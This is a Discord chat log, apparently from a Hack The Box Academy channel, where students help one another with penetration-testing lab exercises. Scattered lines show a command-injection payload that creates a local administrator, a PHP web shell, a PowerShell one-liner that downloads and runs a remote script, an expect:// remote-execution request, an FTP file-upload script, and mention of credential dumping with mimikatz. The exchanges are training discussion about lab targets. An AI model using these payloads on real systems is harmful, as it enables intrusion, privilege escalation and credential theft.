#modules

1 messages · Page 244 of 1

little bear
#

is concealing the trauma in a far far away digital land Everything is great! 😄

#

Lmao

#

Out of pure curiosity, was your favorite part the connectivity or the modifications to the files?

barren torrent
#

TE.CL under HTTP Attacks is driving me bananas

little bear
#

TE. CL?

barren torrent
#

anyone feel like assisting? ❤️

barren torrent
#

Transfer-Encoding and Content-Length

little bear
#

is this CWEE or--? I don't remember off the top of my head if HTTP Attacks is a stand alone module

barren torrent
#

correct, CWEE

little bear
wanton idol
#

lmaooo

little bear
barren torrent
#

I've looked at the hint and got the TE.TE part figured out but not sure what else I'm missing.

wanton idol
#

omg finally passed that section didnt really understand alot but what a pain in the ass

little bear
# wanton idol lmaooo

At that point I just blatantly lied to myself and said everything is alright. This is good practice. Repetition is good kek

barren torrent
#

Apparently supposed to do a TE.CL exploitation with a TE.TE technique also. Smuggling 3 requests in 2 real sequential requests to bypass a WAF.

little bear
#

Nobody in the public setting around who understands CySec "Right, guys?...Guys?"

wanton idol
#

LMAOO fr fr

little bear
#

So it's like appending strings in an obfuscated command injection, but HTTP requests? (Don't quote me, but I'll take the correction) @barren torrent

#

@barren torrent Unsure if this is helpful, but may I dm you a link?

#

It's from PortSwigger

barren torrent
#

sure

little bear
#

Sent

barren torrent
#

I have the HTTP Request Smuggler extension for Burp so throwing that at it now and praying prayge

#

😅

little bear
#

Once that works, try it manually after reviewing the plugin functionality perhaps? That would be cool

barren torrent
#

welp, I quit lol

dreamy yew
#

Module: Attacking Common Applications, Section: Attacking Splunk, Question: I have Splunk Enterprise hosted at port 8000, however it has been loading for 30mins (url: https://target_ip:8000/). Could anyone give me a nudge???

wanton idol
#

give it a try and see if it works

dreamy yew
wanton idol
#

welp

#

maybe restart the machine

dreamy yew
#

i restarted it already 😦

#

or do u need to wait for 5 mins for the target to set up HAHA

wanton idol
#

i tend to wait 5 min just in case

dreamy yew
#

alright ill try it

fathom pendant
#

Splunk runs on https

#

Similar to Nessus

dreamy yew
#

ok i waited for 10mins for the target to set up

#

it is still forever loading lol

pliant coyote
hallow remnant
#

MODULE: Whitebox Attacks
SECTION: Skills Assessment

I've elevated my privileges once (from an account with role = 2). Now I'm stumbling about trying to identify the vulnerability to move along again and could use some help. Some general observations:

  • The added capability I have now is viewing the User Management tab of the app, enabling interactivity with manage.php.
  • The above permits me to add users of the same privilege and delete whatever account I'm presently signed-in as.
  • At-a-glance, I don't think the assessment is looking to perform Type Juggling, as I don't see any loose comparisons being made in add_user() or delete_user().
  • I think that there might be some kind of TOCTOU vulnerability at play, since there isn't a SQL lock being put in place in the various INSERT/DELETE operations taking place after the call to fetch_user_data(). However, I don't see what harm would be taking place; the $role being assigned to any created user is fixed as being the same as my present user, so I'm not exactly elevating privileges.
  • I entertained the idea of Prototype pollution maybe being involved (i.e. perhaps there's a way to pollute the role value for future accounts to be created as admins), but I didn't see anything suggestive amidst the javascript included in the downloaded source code.

I'm well and truly stuck and would welcome a nudge.

snow ridge
pliant coyote
upbeat plume
#

RDP connection (attack Host) doesn't works with AD module ☹️

I'm connected during 10 sec then i'm disconnected

floral blade
astral beacon
#

Am I thinking myself or nmap is really slow?

#

The more I wait,the more remaining time it gets instead of decreasing

ebon minnow
#

<@&861185840277487616>

languid fjord
#

Taken care of

#

Thanks

dreamy yew
#

Section: PRTG Network Monitor, Module: Attacking Common Applications. Question: I have created a new user test.txt;net user prtgadm1 Pwn3d_by_PRTG! /add;net localgroup administrators prtgadm1 /add by creating a notification in the PRTG network monitoring and running send a test notification. However, when I run crackmapexec to authenticate against smb with newly created credentials, I can't seem to logon, need a nudge 🙂

next bronze
dreamy yew
#

so how do i use cme to authenticate for local account, is there any flag i have to set?

dreamy yew
#

Still failed :<

#

I have been stuck here for quite a few hours, and I did all the steps that was in the notes, ill appreciate if anyone could troubleshoot or at least explain where i went wrong

halcyon dock
#

Hello, I am interested in learn hacking, how do I start

next bronze
dreamy yew
#

Yes, I clicked the Test notification, and they said exe is being queued and no error msg was printed.

#

do u mind if i pm u the screenshots of the evidences of the task being triggered

next bronze
#

you can send screenshots here

compact patrolBOT
arctic sentinel
#

Good morning, I am trying to solve the skills assesemnt of ithe intro to assembly module... I am stuck since I dont know what I am doing wrong... I have a shell code from concatenating the info stack from my code but its a wrong answer...

#

someone has finished this module_

next bronze
halcyon dock
ebon minnow
#

Hey guys, for attacking common services easy lab. Can someone clarify why I needed to attach “target username”@inlanefreight@htb and then for initial foothold for the given service the domain didn’t matter?

fierce mason
#

for a pass the ticket attack using rubeus, is it required to specify a kerberos key to perform the attack? some of the commands use it in the password attacks module in the ptt attack from windows section, and some don't

next bronze
#

if you're specifically passing the ticket itself, then you'll need to specify the ticket

#

either in b64 or the kribi file

fierce mason
#

do i also need to specify the key

next bronze
#

wdym the key

fierce mason
#

the user hash i think

next bronze
#

no, if you're only passing the ticket, you'll only need to specify the ticket

fierce mason
#

and to create a ticket, ill need the key?

next bronze
#

to receive a ticket from KDC, you'll need valid credentials. over pass the hash is where you exchange NTLM authentication to get a kerberos ticket

arctic sentinel
#

I get this after info stack

fierce mason
vague sage
#

What should I be doing here?how do I find the total packages?
"How many total packages are installed on the target system?"
someone executed this (website on google) "dpkg -l | grep -c 'ii'"

but why?dpkg isnt even a part of this module

next bronze
next bronze
next bronze
fierce mason
arctic sentinel
next bronze
arctic sentinel
#

is the times I press next until I reach rcx 1

fierce mason
next bronze
next bronze
fringe urchin
#

<@&861185840277487616>

fierce mason
next bronze
#

yes, that's how OPTH works

#

well it's not really an attack, it's just different ways to authenticate to AD, NTLM vs kerberos

fiery berry
#

I'm having problem cracking the hash in "kerberos attacks" skill assessment, basically is the first step. While I can probably use another way to accomplish the task I'm wondering if the correct wordlist to use is "rockyou.txt". Thanks for any tip.

arctic sentinel
valid pagoda
#

I'm accessing as the same user that the share is named for, have read/write permissions to the share, and can get the file off the share onto my host machine. It's listed as 0 bytes both on the share itself and on my attacker machine after downloading it.

#

Is this a bug or is there something I'm missing?

west spindle
#

Hay everyone,

Does anyone did the WhiteBox Attack module? I did it already, but I am unsure if the way I resolved is the intended way or not, if anyone solved it could you PM me?

Thanks in advance 🙂

PS. I am talking about the SA in the WhiteBox Attacks 🙂

ebon minnow
#

Easy lab - attacking common services : not easy LOL

vague sage
#

Which option needs to be set to execute a command as a different user using the "su" command? (long version of the option)

isnt it "--login"?
i literally tried every option i had

ebon minnow
#

sudo su <different user>

#

That’s if the user you’re changing from is already in the sudo group

vague sage
#

oh i thought from the options given in -h

next bronze
#

su -h and read the options

vague sage
#

didnt work

#

--command was the right answer

fathom pendant
vague sage
#

my bad

fathom pendant
#

It's better to say the module name

vague sage
#

will do

fathom pendant
#

We don't know a modules name based off its number, and we can't look it up based off number either

vague sage
#

ah i got you

fathom pendant
#

It just puts in added effort on the part of the person attempting to help

next bronze
vague sage
#

my bad

acoustic owl
#

better to ask in #homelab-sysadm
This channel is about all the modules in the Academy
If you have no access, read and follow #welcome

upper haven
timid grove
#

damn is it only me ?

acoustic owl
strange forge
#

hey in footprinting medium skill assignment. while connecting with the sql management studio. it is giving following error. "TITLE: Connect to Server

Cannot connect to WINMEDIUM.


ADDITIONAL INFORMATION:

Login failed for user 'sa'. (Microsoft SQL Server, Error: 18456)

For help, click: https://docs.microsoft.com/sql/relational-databases/errors-events/mssqlserver-18456-database-engine-error


BUTTONS:

OK

"

A connection attempt is rejected due to a failure with a bad password or username in SQL Server. See an explanation of the error and possible resolutions.

#

it says eomething like "no pipe at destination"

fathom pendant
#

And yes you do have the creds if you found the important text

strange forge
strange forge
fathom pendant
#

As said you do have the creds

strange forge
#

i have the sa user creds

fathom pendant
#

Consider, reuse

strange forge
#

ok lemme see

strange forge
pearl wedge
#

Hey y'all, sorry for cross posting this question but I'm very curious. In the "file upload attack" module, under the whitelist filters section, there is a list of characters you can try to bypass file extension filters.
One of those characters I now know is called a "horizontal ellipse" … (a single character, not 3 periods)
https://www.compart.com/en/unicode/U+2026.
I can't find anything concrete on how/when/why … could be used in an injection. Does anyone have any examples of this in the wild? I asked our AI overload chatGPT but the response was pretty generic/vague. I have been playing around with it locally on the command line.
Linux is fine with files and folders called …, so I don't think its applicable there.
Powershell and CMD (using Windows terminal and PowerShell terminal) have trouble rendering it (they render a . in my testing) but if you run ls … it will fail with "cannot find file …" so that seems to be purely a cosmetic/rendering issue.

Does anyone have any pointers to help me get out of this rabbit hole I find myself down?

glad heart
distant stream
#

Dm if you need still help

graceful mortar
wild storm
strange forge
fathom pendant
#

Use windows login don't switch the login type

#

Once you're the right user/logged in as a*

strange forge
fathom pendant
#

you need to be logged in as adm* -> run MSSQL as administrator -> click through the database
OR if you know how to query:
log in as adm* -> run mssql as administrator -> click new query -> run the query

#

note querying and stuff is really not touched on well in this module, it's gone over more in Attacking Common Services

reef rampart
#

Anyone able to help me out with Broken Authentication - Predictable Reset Token section? i just can't get this thing working no matter what

reef rampart
#

well like i said i tried that already and it just won't work for me

fathom pendant
reef rampart
acoustic owl
# reef rampart

You have to create a token for every millisecond.
In order not to kill the server, you should stay within the time limit. So +/- 1 second.
This already generates 2000 requests

reef rampart
acoustic owl
#

2 seconds = 2000 milliseconds

#

to be precise, it is even 2001 milliseconds

fathom pendant
#

-1 second, +1 second, current time

acoustic owl
#

-1 second (1000ms)
Event generate token 1ms
+1 second (1000ms)

solar pecan
#

hello guys.. in AD attack module I cracked the wley password but hashcat don't display it. Do you know why?

solar pecan
#

nothing

reef rampart
#

Got it. Thanks to both of you for saving me from a headache!!

plush urchin
#

Hello, can I use the kali loaded from my usb drive instead of a vm to connect to htb network through the vpn?

acoustic owl
short hare
# reef rampart Anyone able to help me out with Broken Authentication - Predictable Reset Token ...

For this
If you are using pwnbox then time will be already in UTC
If personal VM then NOT in UTC

Hence process is:
Have the time in UTC, then converter to EPOCH ( web based UTC time to EPOCH converter is available in Google)
Start time= EPOCH time in milliseconds -1000
End time= EPOCH time in milliseconds+1000

Now generate the tokens with this range and
Then brute force it

Hope you will get it

short hare
ebon minnow
#

stuck on enumeration for "Attacking common services - medium lab", any nudges?

short hare
ebon minnow
ebon minnow
ebon minnow
#

yeah i saw the hint for the 6th one and brute forced that, no avail

fathom pendant
#

No need to bruteforce

ebon minnow
#

SMH

#

thanks

fathom pendant
#

Yw :)

ebon minnow
#

medium lab was easier than the easy lab... ok

fathom pendant
#

Yeah btw the mail service is like entirely unneeded kek

ebon minnow
#

big sad

amber ore
#

Having trouble on the Skills Assessment for File Uploads. I can successfully read '/etc/passwd' & 'upload.php' source code. However i get no luck uploading a php shell. Any guidance?

boreal crest
#

Hey guys! Im sorry to bother with a trivial error but im hard stuck at XSS Bypass module. I found a few bypasses for XSS (object with base64, iframe with srcdoc HTML encoded) but I cant seem to get any admin callbacks? I read somewhere its to do with HTML encoding my XSS payload? Im kinda lost on this one.

XHR request gives me this (on my local machine):

NetworkError: Failed to execute 'send' on 'XMLHttpRequest': Failed to load 'http://vulnerablesite.htb:53486/home.php'. 
fierce mason
#

in the pass the ticket from linux section of password attacks, i can't seem to access \dc01\julio. im getting this error:

[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14

Evil-WinRM shell v3.3

Info: Establishing connection to remote endpoint

Error: An error of type GSSAPI::GssApiError happened, message is gss_init_sec_context did not return GSS_S_COMPLETE: Unspecified GSS failure.  Minor code may provide more information
Ticket expired


Error: Exiting with code 1
fathom pendant
#

ticket expired

strange forge
#

Any clues on footprinting skill assessment hard. from where to start?

fathom pendant
rustic sage
fierce mason
#

nvm got it

next bronze
#

C$ is an admin only share

#

does your user have the rights

upper ruin
#

HTB AD Skill Assessment 2
Submit the contents of the flag.txt file on the Administrator Desktop on the MS01 host.

I got a reverse shell on SQL01 and transferred mimikatz. I got NTLM Admin hash, and I tried to do pth with evilwinrn to the MS01. Somehow tho it doesn't work. Any ideas?

#

I tried without single quotes as well*.

next bronze
#

winrm is a domain thing, you got the local admin hash

upper ruin
#

Ouch.

next bronze
#

try other creds that you got

upper ruin
#

i will dump sam

#

and everything on sql01

late galleon
#

anybody know how to get a flag if im in ftp?

next bronze
#

yes dump everything

late galleon
#

i see flag.txt but when I try to cat it it says invalid command

void flower
#

Invalid command

cloud urchin
upper ruin
haughty tree
#

This one's worth a try

valid crag
#

ghostery is breaking javascripts on academy site. the menu element for modules and path doesnt open

cloud urchin
#

yeah that's one of the reasons they tell you to disable adblockers i think

valid crag
#

sure but that still shouldnt happen

next bronze
#

just disable it for academy

rapid sparrow
#

did anyone know how to use academy solutions

cloud urchin
#

i think you enable it in settings

upper ruin
rapid sparrow
valid crag
upper ruin
next bronze
cloud urchin
rapid sparrow
upper ruin
plush urchin
upper ruin
next bronze
#

you def can dump the hives, somethign is wrong with your smbserver

upper ruin
#

I saw what it is...it's the name

#

I messed up the name...

#

that o O ... bruh

#

Nevermind, wasn't that

cloud urchin
#

look at your ip, that doesn't look like a vpn tun0 ip to me

#

is that the parrotbox or something

upper ruin
#

The 172.16.7.60 can't have outbound connections to any 10.10 --. It can only connect to it's 172.16.X.X

#

I wanted to dump them on the main box 172.16.7.240 from the 172.16.7.60.

#

So I can download them from my attack host

#

Essentially 172....60 -> .240 -> <myKaliHost>

next bronze
#

block unauthenticated guest access

#

put a password on it

upper ruin
#

That's such a brainrot, I lowkey love it.

#

Will do.

cloud urchin
#

my solution was to simply download with CME

upper ruin
boreal crest
#

Hey guys I have a question relating to the XSS Bypass module (Advanced XSS and CORS):

So I have a payload in my exploit server which works well and retruns data from my exfil server. But:

  1. When I use the XSS payload - ||<object data="data:text/html;base64,<Base64- representation of <script src="http://exploitserver.htb/exploit"></script>>">||
    I get back a response but it is just Network errors

  2. When I use the XSS payload - ||<ScRiPt SrC="http://exploitserver.htb/exploit"></ScRiPt>||
    I get back the correct reponse with the base64 encoded page admin.php.

My question is why? In both cases my script is executed and calles back to log but then why the difference?

fathom pendant
#

In one instance the lowercase is being filtered, the other the casing isn't properly filtered so it goes through

late galleon
#

how do I get the password for WORKGROUP?

#

i can access the SMBshare but I can't get the password

boreal crest
fathom pendant
#

¯_(ツ)_/¯

fathom pendant
#

Alternatively just add -N to your command

#

-N doesn't prompt for a password

late galleon
#

10.129.107.57sambashare: Not enough '' characters in service
Usage: smbclient [-?EgqBNPkV] [-?|--help] [--usage] [-M|--message=HOST]
[-I|--ip-address=IP] [-E|--stderr] [-L|--list=HOST]
[-T|--tar=<c|x>IXFvgbNan] [-D|--directory=DIR] [-c|--command=STRING]
[-b|--send-buffer=BYTES] [-t|--timeout=SECONDS] [-p|--port=PORT]
[-g|--grepable] [-q|--quiet] [-B|--browse]
[-d|--debuglevel=DEBUGLEVEL] [--debug-stdout]
[-s|--configfile=CONFIGFILE] [--option=name=value]
[-l|--log-basename=LOGFILEBASE] [--leak-report] [--leak-report-full]
[-R|--name-resolve=NAME-RESOLVE-ORDER]
[-O|--socket-options=SOCKETOPTIONS] [-m|--max-protocol=MAXPROTOCOL]
[-n|--netbiosname=NETBIOSNAME] [--netbios-scope=SCOPE]
[-W|--workgroup=WORKGROUP] [--realm=REALM]
[-U|--user=[DOMAIN/]USERNAME[%PASSWORD]] [-N|--no-pass]

fathom pendant
fathom pendant
#

smbclient -U "" -N //IP/Share

#

Also your error is just listing all the smbclient options, it's not the error code

late galleon
#

sudo smbclient -U \10.129.107.57\sambashare -N //IP/SHARE
do_connect: Connection to IP failed (Error NT_STATUS_NOT_FOUND)

#

I need to connect to the share and get a flag

fathom pendant
#

That's not the syntax I just showed you

scenic plover
#

Marcie you have the patience of a saint. lol

fathom pendant
#

Also btw it's reading the \10.129.107.57\sambashare as the username

late galleon
#

nvm got it

fathom pendant
#

I suggest also learning what placeholder text is

#

I use it quite often to generalize syntax, which is what you should do for your notes

#

-U = user
-N = do not prompt for password

#

Aka sends the password as ""

late galleon
#

yeah now its asking me to find the domain the server belongs to

fathom pendant
#

Not everything will be found with smbclient

#

Read the section to figure out how to enumerate more info

#

There's 2 main things you work with

loud dagger
#

hey what do you do when, while taking notes on a topic, you feel like you're just writing stuff down instead of actually comprehending it
is this normal

solid quail
#

Whats up ya'll I currently in need of some help with this module. I just cannot seem to get the flag. Would anyone mind helping me step by step?

#

I'm able to ssh into it as user4, and cd into Documents and list flag.txt but I receive 0-30

amber ore
scenic plover
next bronze
#

probably don't just straight up give the answer or the command to get the answer, you can tell them where to look or the steps to take, it will help them learn instead of handing the answer

loud dagger
#

isn't that what i did
i pretty clearly said "try taking another look through the finding files and directories, user and group management, and finding and filtering content sections"

#

and also recommended they look in the documentation for a specific command

next bronze
#

doesn't change the answer being right there

loud dagger
#

you in particular
you in particular constantly grossly misinterpret and/or misread every single thing i say here
every time you say anything to me it's almost always something i said that you dislike and you read over a huge chunk of whatever i say and you just read the parts you don't like

#

i can think of like three other times where you personally have done this

#

there i deleted the fucking answer

fathom pendant
#

I would refrain from giving exact file location, the command is enough

loud dagger
#

I DELETED IT

fathom pendant
#

Also heavy spoiler dude. Don't do that

next bronze
#

what gave you the idea that I dislike anything that you said? but alright, I won't reply to you anymore, have a good one

loud dagger
#

there it's all gone

#

literally like 10 times today and across three different mediums i've tried to help someone with something and people just get mad at me about it

solid quail
loud dagger
#

no

#

find a write up if you're still stuck i quit helping people

fathom pendant
#

Helping to get the answer is one thing but revealing the exact file location and answer is another

#

The point of the exercise was to find it yourself

solid quail
#

Finding a writeup for this particular session is practically non-existent and the HTB forums are horrendous to find writeup or help as i've browsed there for hints at what I can do so that I myself may get the answer myself without spoiling

loud dagger
#

look through the module

solid quail
#

so yes, i believe HTB forum help SHOULD get a hard review and good look at

#

so again any and all hints are greatly appreciated

fathom pendant
#

It's a recursive get-childitem command

solid quail
#

otherwise I'll just take ya'lls messages as I'll go f*** myself

#

thank you marcielee

fathom pendant
fathom pendant
loud dagger
#

why

fathom pendant
#

You're the one that had the command

solid quail
#

yea then people chewed her out for trying to be helpful

#

but anyway

#

Thanks for ya'lsl time

fathom pendant
#

I'm not trying to discourage you from helping, just trying to ask you to be mindful of spoiling direct content ¯_(ツ)_/¯

#

I.e. giving the command to help find it is ok.
Saying the file location and the contents of it is not. Especially in this instance where they purposely give that user a bunch of empty flag.txt to sift through

loud dagger
#

this is now the third time you've told me this

#

you can stop now

fathom pendant
#

Sorry for repeating myself

#

But don't be discouraged. Your intent was to be helpful.

upper ruin
# upper ruin Worked :D

@next bronze So, I dumped Sam. Got hashes that I already have. I will try everything from the password attacks module and ad enum section. Is it okay if I contact you when I am stuck? I couldn't find anything of use from the Sam,security,system .save

next bronze
upper ruin
fathom pendant
#

Yeah

upper ruin
#

So I didn't need to go that far with the hives.

fathom pendant
#

Iirc mimikatz worke similarly depending on the submodule used

upper ruin
#

I found a writeup in Lao language.

fathom pendant
upper ruin
#

So I can't exacpe the juicy potato..

fathom pendant
#

Boil em, mash em, stick em in a stew

fathom pendant
upper ruin
#

I did the sql01 part.

fathom pendant
#

Just saying many ways to do the same thing

upper ruin
#

Oh.

next bronze
fathom pendant
#

True

next bronze
fathom pendant
#

I just stare at it until it makes sense

upper ruin
#

I will try to crack the hash first.

#

And uh..I still don't get.

#

How could that account work for MS01.

fathom pendant
#

Domain joined accounts are fun

upper ruin
#

I could try to check setspn.exe -q / to see what kind of acc it is.

fathom pendant
#

It's a service account

#

¯_(ツ)_/¯

upper ruin
#

Logic says it's for a specific service so my head says it's for a specific host. However you remind me of a thing u said.

#

Don't make assumptions.

next bronze
#

try first, question later. doesn't take much time to probe with netexec

fathom pendant
#

Service accounts are just fancy user accounts

upper ruin
#

Exhausted, pth is on the way.

loud dagger
#

is it just me or does htb academy overexplain a lot of things

upper ruin
#

There's never too much.

loud dagger
#

i disagree

fathom pendant
#

Eh I'd rather overexplain than underexplain

upper ruin
#

^

loud dagger
#

guess i'm just stupid then

fathom pendant
#

Nah

#

Sometimes, occasionally, things just are explained in a dumb way (or not at all)

upper ruin
#

So, evil-win didn't accept the mssqlsvc hash for the MS01.

#

Let see what's that netexec thing.

next bronze
#

winrm is not always enabled, generally don't use it to test if it's a valid account

upper ruin
#

Also I have a question:

fathom pendant
#

I have an answer:

upper ruin
#

What's the difference between these 2:

upper ruin
#

I could try with psexec.

upper ruin
#

let's see what it says either way

next bronze
#

yeah even the mimikatz repo gets flagged as that

fathom pendant
#

Sometimes the cert expires and it's funny

upper ruin
#

I forgoR the lm hash mb.

solid quail
#

Well, I'm glad someone's getting help from here. 🫡

upper ruin
#

I am trying tho!

solid quail
#

Haha same here I'm trying

next bronze
pseudo birch
#

For Blacklist Filters in File Upload Attacks module, I get a "File successfully uploaded," then I go the SERVER_IP:PORT/profile_images/shell.ext?cmd=id and I'm getting a 404 error. I'm assuming I'm uploading the file wrong though Burp? I change the filename and contents of the uploaded file to the given: <?php system($_REQUEST['cmd']); ?>

upper ruin
next bronze
next bronze
solid quail
#

This may sound stupid but I ssh as user4 and within terminal do I run ps? If so how would I launch ps ? Or would I use ps from parrot os

upper ruin
next bronze
solid quail
#

Alright once I'm in . Now I'll go read as I was told

#

Also @next bronze appreciate it!

upper ruin
#

W Xre0us and Marcie.

#

I am done for today though, tired a bit I will go to sleep and end the SA2 tomorrow. Let's hope the next modules won't be that bad and won't be that long.

zealous rune
#

IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')

#

This executes PSUpload.ps1 right?

#

it's the equivalent on linux of doing something like
wget http://github/code.sh | sh
correct?

#

doesn't write anything to disk right?

cloud urchin
#

yeah assuming the script is purely executable code and doesn't write anything to disk

zealous rune
#

ok thank you.

#

I then don't understand how this is working:

#

i guess my point is what is the point of executing PSUpload first?

cloud urchin
#

the powershell script adds the invoke-fileupload function to your powershell session

#

look at psupload.ps1 itself

solid quail
#

heeeey im gettin somewhere! lol

heavy marsh
#

For some reason in the File Inclusion PHP Wrapper section, the target is showing vulnerable to the EXCEPT wrapper, but when running the command it does not give the uid as it does in the example.

#

I was already able to get the flag with another method in the module, I just wanted to see if anyone can check for me to see if their command works.

#

curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"

#

Here is my command showing it vulnerable

#

base64config is just a text file containing the output of the config piped to base64 since it was too long and froze my terminal

zealous rune
strange forge
#

Any leads on snmp v3 enumeration? doing footprinting hard assignment

rapid heron
#

Does anyone know how I can acess DC01 on the AD Skills Assessment 1? I have the admin hash, is there an easy way to now access the DC01 machine. Do I need to set up a SOCKS proxy through the machines or is there a better way?

#

So basically I am on MS01 but I cant find a good way to get onto DC01

zealous rune
#

@strange forge have you tried community string brute forcing?

#
C:\htb> echo USER anonymous >> ftpcommand.txt
C:\htb> echo binary >> ftpcommand.txt
C:\htb> echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
C:\htb> echo bye >> ftpcommand.txt
C:\htb> ftp -v -n -s:ftpcommand.txt```
#

what's teh use case for creating a command file.... i understand what is going on

#

but since we already have the shell why don't we just use ftp interactively

strange forge
zealous rune
#

ok did u use the community string?

strange forge
#

yes with snmpwalk and braa

zealous rune
#

ok did u look at the output of snmpwalk?

#

and/or braa?

strange forge
#

a user tom is there

zealous rune
#

nice

#

so you found some creds

#

what u gonna do with those creds

strange forge
#

no pass just user. bruteforcing here?

zealous rune
#

just user?

#

are u sure

strange forge
#

yeah

zealous rune
#

look again

strange forge
#

ohh got it

cedar yew
#

hello guys how to fix this output

┌─[✗]─[htb-student@ea-attack01]─[~]
└──╼ $kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt

__             __               __     

/ /_____ / / _______ / /
/ //_/ _ / / __ / / / / / __/ _
/ ,< / __/ / / /
/ / / / /
/ / /
/ __/
/
/|
|_
// /.
// _,/_/___/

Version: dev (9cfb81e) - 05/01/24 - Ronnie Flathers @ropnop

2024/05/01 18:30:58 > Using KDC(s):
2024/05/01 18:30:58 > 172.16.5.5:88

2024/05/01 18:30:58 > You must specify a password to spray with, or --user-as-pass

cloud urchin
#

it says right there, you need to specify a password to spray with

cedar yew
#

already spray password

cloud urchin
#

what?

cedar yew
#

oky oky sorry my bad

#

I forgot to enter password

gritty breach
#

can anybody help with the web api skill assessment?

sturdy otter
#

is EU VPN really slow atm for you guys, too?

sleek moss
#

im o powershll wy doesnt the commad work like i do Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid2} -Verbose but it just gets frozen and doesng do output but i cn canl cmd

#

for
Active Directory Enumeration & Attacks

Page 20
ACL Enumeration

ACL Enumeration just need to rdp into htb only and not coinnect to dc right

sturdy otter
fathom pendant
sturdy otter
fathom pendant
#

Yep

#

I wasn't disagreeing I was just expanding that it's a LOT of info depending on how many objects exist

#

And that it's not freezing, it's just doing it's job. If there wasn't the filter there... boy howdy

sturdy otter
#

yeah I run it without the sid filtering and there is a lot of info 😄

sleek moss
#

ListChildren, GenericWrite, ReadProperty

#
  • 0 What privileges does the user damundsen have over the Help Desk Level 1 group?
#

tf why AceType : AccessAllowed
ObjectDN : CN=Help Desk Level 1,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite
OpaqueLength : 0
ObjectSID : S-1-5-21-3842939050-3880317879-2865463114-4022
InheritanceFlags : ContainerInherit
BinaryLength : 36
IsInherited : False
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-3842939050-3880317879-2865463114-1176
AccessMask : 131132
AuditFlags : None
AceFlags : ContainerInherit
AceQualifier : AccessAllowed

#

why ont it ork

fathom pendant
#

?

#

What's "not working"

sturdy otter
#

you are on the right track, check what you can do with one of the ActiveDirectoryRights you have

rapid field
#

Why am i always directed to this channel when I’m looking at other ones

sleek moss
#

the answer ListChildren, ReadProperty, GenericWrite

fathom pendant
sleek moss
#

but it says its not it

fathom pendant
sleek moss
#

how

sturdy otter
sleek moss
#

the 3

fathom pendant
# sleek moss how

As I said it's one of those, perhaps refresh your memory by rereading the section

#

Only one of them is the answer, the others are rights- not privilges

#

It's specifically asking, in this instance, what stands out

#

ListChildren and readproperty just means he can look at them

#

And generally can't be abused

rapid heron
#

Does anyone know how to access DC01 on the active directory skills assessment 1. I have the administrator hash and I spawned a new cmd with mimikatz under the context of the administrator user. I have tried to access the DC with Enter-PSSession however I am getting errors and it does not seem to work.

My next strategy is to use chisel so I can run CME or something on my kali machine?

Is there another way to access DC01?

cedar yew
#

I have not been able to RDP to Windows machines lately. Has anyone encountered the same problem?

wanton idol
#

can someone help me, im doing Attacking Common Applications section Exploiting Web Vulnerabilities in Thick-Client Applications. i am following the instructions to exploit but once i get to the step of having to open the fatty-server.jar it wont transfer to my desktop and outputs this instead

gray merlin
wanton idol
#

here is the part i edited as shown in the instructions just not sure if i need to put the /* */

strange forge
#

Hey, how to bruteforce using hydra when https is requiring authentication. iam trying http-post-form but there is no success or failure condition i know

coarse schooner
#

Stuck on "Bypassing Blacklisted Commands". I found the flag file, but the command I'm issuing doesn't return data. I think I fail to understand the significance of the numbers in the bypass. Can someone explain

gray merlin
strange forge
fathom pendant
#

Then the failure condition is the popup

#

¯_(ツ)_/¯

#

Or the base page info

#

I take it you've already done an inspect element to try and look for it

gray merlin
strange forge
dim wolf
strange forge
#

iam forgetting the command

gray merlin
#

You are trying to use http-post-form when it should be basic auth.

strange forge
#

hydra -L user -P pass ip

gray merlin
gray merlin
coarse schooner
#

in practice with the bypass string I issued for the question in Bypassing Blacklisted Commands, it doesn't print anything

#

despite putting 15 in the second place

gray merlin
gray merlin
coarse schooner
#

I guess that's the second piece, what is actually happening

gray merlin
# cedar yew

Normally when I see that error I just haven't waited log enough (after starting the machine). But, double-check that you are using the right creds.

cedar yew
#

yep true creds

#

but dont working

#

I can ping the machine

gray merlin
#

I would reset the box. This is the command I use, but shouldn't make a difference: xfreerdp /dynamic-resolution /cert:ignore /timeout:50000 /compression -themes -wallpaper /network:broadband /v:$ip /u:$user /p:$pass

coarse schooner
cedar yew
#

im going to crazy -_-

fathom pendant
gray merlin
next bronze
#

I mean logon failure means wrong creds

cedar yew
#

I tried remmina and it worked this time, but I couldn't really RDP for a few days.

#

ohh i use this command its work reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

pliant coyote
wanton idol
#

anyone T-T

pliant coyote
#

Why is access denied, can anyone help me

gray merlin
pliant coyote
strange forge
# gray merlin Add `http-get`

this is giving a lot of false positives. no network activity while debugging. how to get either fail or success condition?

gray merlin
gray merlin
strange forge
gray merlin
next bronze
fathom pendant
twin lion
#

Guys im doing the AD skills assessment #1

I've cracked the hash of svc_sql, i have a shell on dc01.inlanefreight.local
So i need to auth to mssql on this domain: SQL01.inlanefreight.local
I started by importing powerupsql & ran this to see the instances
Get-SQLInstanceDomain
I saw the instances so I crafted this command to login

Get-SQLQuery -Verbose -Instance "SQL01.inlanefreight.local,1433" -username "SQL01.inlanefreight\svc_sql" -password "correct_pass" -query 'Select @@version'

However it just hangs, first I tried it with lowercase sql01 but it's just hanging man, on psexec and a netcat shell.

strange forge
fathom pendant
#

But otherwise it could be you're using the wrong syntax

twin lion
fathom pendant
twin lion
fathom pendant
#

Yes

strange forge
#

man this assignment is really ridiculous. bruteforcing for the pass with rockyou is taking ages.

fathom pendant
#

Using rockyou sounds like a bad idea

#

It's an insanely large list, is there not another provided list?

strange forge
#

list given in assignment is not working

fathom pendant
#

Or: your previous attempts were using the wrong failure string

#

And you discounted it because it was only behaving as intended

next bronze
#

attacking common services requies you to brute force http bauth? you sure you're hitting the right place?

strange forge
#

i got a valid user with smtp-user-enum. tried it on http basic auth. did'nt work. now trying the user on various services ftp,mysql,rdp

strange forge
